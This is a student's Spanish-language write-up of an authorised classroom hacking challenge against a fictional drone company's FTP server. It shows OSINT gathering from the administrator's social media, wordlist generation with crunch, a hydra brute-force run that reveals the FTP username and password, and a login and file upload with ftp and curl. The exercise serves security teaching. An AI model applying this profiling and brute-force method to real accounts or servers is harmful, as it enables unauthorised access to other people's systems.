



HACKLAB #1

RETO 1

C.E.S ACADEMIA LOPE DE VEGA

CFGS: 2º Administración de Sistemas Informáticos en Red

Curso: 2017/2018

Asignatura: Seguridad y Alta Disponibilidad

Prof. Miguel Angel González

Autor: Rafael Osuna Ventura

Enunciado:

Introducción: Todos los días son puestos en operación miles de servidores en Internet, lamentablemente no todos ellos son seguros ya que muchos administradores consideran que nunca serán objeto de un ataque y por ello son muy flexibles en sus controles de seguridad, llegando a usar mecanismos de gestión y transferencia de archivos nada recomendables.

Escenario del laboratorio: Imagina en 3D, una empresa que se dedica al diseño de drones de última generación. Recientemente ha realizado una investigación que ha dado como resultado un prototipo de lo que considerarán será el dron más potente de nuestros tiempos. Si el diseño de este prototipo llegará a ser expuesto en Internet antes de la fecha programada, causaría una gran pérdida económica para Imagina en 3D. Para evitar que esto ocurra, has sido contratado con el objetivo evaluar los controles que están implementados y demostrar si la seguridad puede ser vulnerada.

Tu objetivo: Has llegado a un acuerdo con Imagina en 3D y se definen los siguientes 2 objetivos:

- 1.- Intentar obtener el diseño del prototipo del dron.
- 2.- Dejar evidencia (un archivo .txt)

Reglas importantes: A pesar de que fuiste contratado y cuentas con la autorización del cliente, debes seguir las siguientes reglas.

- 1.- Esta prohibido todo ataque DoS / DDoS. En caso de identificar este comportamiento, el servidor será dado de baja.
- 2.- Cuando logres acceder al sistema, deberás dejar una evidencia. Dicha evidencia deberá ser exclusivamente un archivo .txt con tu nick del usuario.
- 3.- El contenido del archivo puede ser lo que tú quieras. Yo digo: ¿porque no usar ascii art?
- 4.- El servidor estará activo durante 1 semana. Por favor, no publicar durante este tiempo la manera en la que accediste.

Información brindada por Imagina en 3D: La única información que te ha sido brindada para este servicio es el nombre y el facebook del administrador del sistema.

Pistas: Siempre son bienvenidas unas pistas, por ello te compartimos las siguientes:

- 1.- Realiza un muy buen stalking del perfil del administrador, existen personas que ventilan sus problemas o datos sensibles en Internet. Nunca se sabe... este admin puede ser una de esas personas.
- 2.- La vulnerabilidad no está en el servicio Web, por lo que no será requerido ejecutar herramientas como Acunetix o SQLMap.

Nuestro primer objetivo es acceder al servidor y obtener los planos del dron. Para ello comenzamos accediendo al Facebook del administrador y nos damos cuenta de que tiene varias imágenes subidas, y en una de ellas se puede observar como utiliza un servidor ftp. De esta imagen obtendremos la dirección del servidor y el nombre de usuario, ya solo nos faltará averiguar la contraseña.

Seguimos buscando información relevante a la contraseña en el Facebook y encontramos otra imagen. Esta vez es de un correo, en él informa del problema existente con las contraseñas y en concreto nos indica que tienen 7 dígitos. Tras esto, procedemos a crear un diccionario para poder obtener todas las combinaciones posibles. Definiremos el diccionario con 7 dígitos y utilizaremos su fecha de nacimiento para aproximarnos más a la contraseña.

```
root@kali:~# crunch 7 7 1980 > diccionario_fecha.dic
Crunch will now generate the following amount of data: 131072 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 16384
```

Una vez creado el diccionario procedemos a realizar un ataque por fuerza bruta utilizando hydra, esta herramienta nos permite obtener la contraseña a través del diccionario anteriormente creado.

```
root@kali:~# hydra -l aquero -P diccionario_fecha.dic ftp://52.10.103.130
Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for
legal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-02 21:22:33
[DATA] max 16 tasks per 1 server, overall 64 tasks, 16384 login tries (l:1/p:16384), ~16 tries per task
[DATA] attacking service ftp on port 21
[STATUS] 1658.00 tries/min, 1658 tries in 00:01h, 14726 to do in 00:09h, 16 active
[STATUS] 1678.00 tries/min, 5034 tries in 00:03h, 11350 to do in 00:07h, 16 active
[STATUS] 1685.00 tries/min, 11707 tries in 00:07h, 4597 to do in 00:03h, 16 active
21][ftp] host: 52.10.103.130 login: aquero password: 0019808
of 1 target successfully completed, 1 valid password found
```

Una vez obtenida la contraseña, tendremos acceso total al servidor ftp. Procedemos a acceder a él y buscamos algo raro/diferente. Durante esta búsqueda nos damos cuenta que todo lo que tiene el servidor son archivos .txt, pero encontramos un directorio con el nombre de privado, aquí se encontrará la información del dron que buscamos. Desde el navegador accedemos al servidor y buscamos este directorio, al entrar en él no encontramos nada **(Se supone que debería de estar un archivo con contraseña el cual será el prototipo. Yo no encuentro nada, supongo que el archivo estará oculto, pero no encuentro la forma de acceder a él).**

```
root@kali:~# ftp -p 52.10.103.130
Connected to 52.10.103.130.
220 Lo siento, Dave. Temo que no puedo hacer eso.
Name (52.10.103.130:root): aquero
331 Password required for aquero.
Password:
230-Bienvenido a este tu servidor FTP. Te saluda GF0S.
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
227 Entering Passive Mode (52,10,103,130,159,220)
125 Data connection already open; Transfer starting.
07-25-16 07:24PM                2374 _Hiperborea Team_.txt
06-20-17 03:21PM                180 !_Sertxu Developer.txt
09-29-17 06:27AM                 0 PLANOS_DRON.txt
11-01-16 11:17PM               1634 po.txt
04-27-17 12:00PM               1205 poison.txt
09-12-16 02:07PM                14 Pol.txt
05-10-17 12:20PM                <DIR> privado
10-07-16 10:13PM               450 prueba.txt
09-09-16 02:22PM                11 prueba2.txt
```

Índice de /privado/

 [directorio principal]

Nombre Tamaño Fecha de modificación

El primer objetivo ya está realizado. Ahora vamos a por el segundo, dejar una evidencia en el servidor para demostrar que hemos conseguido entrar. Para ello crearemos un .txt y lo subiremos al servidor.

```
root@kali:~# curl -u aquero:0019808 -T Osuna.txt ftp://52.10.103.130
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           %             0      100    5         0      2  0:00:02  0:00:02  --:--:--   2
root@kali:~#
```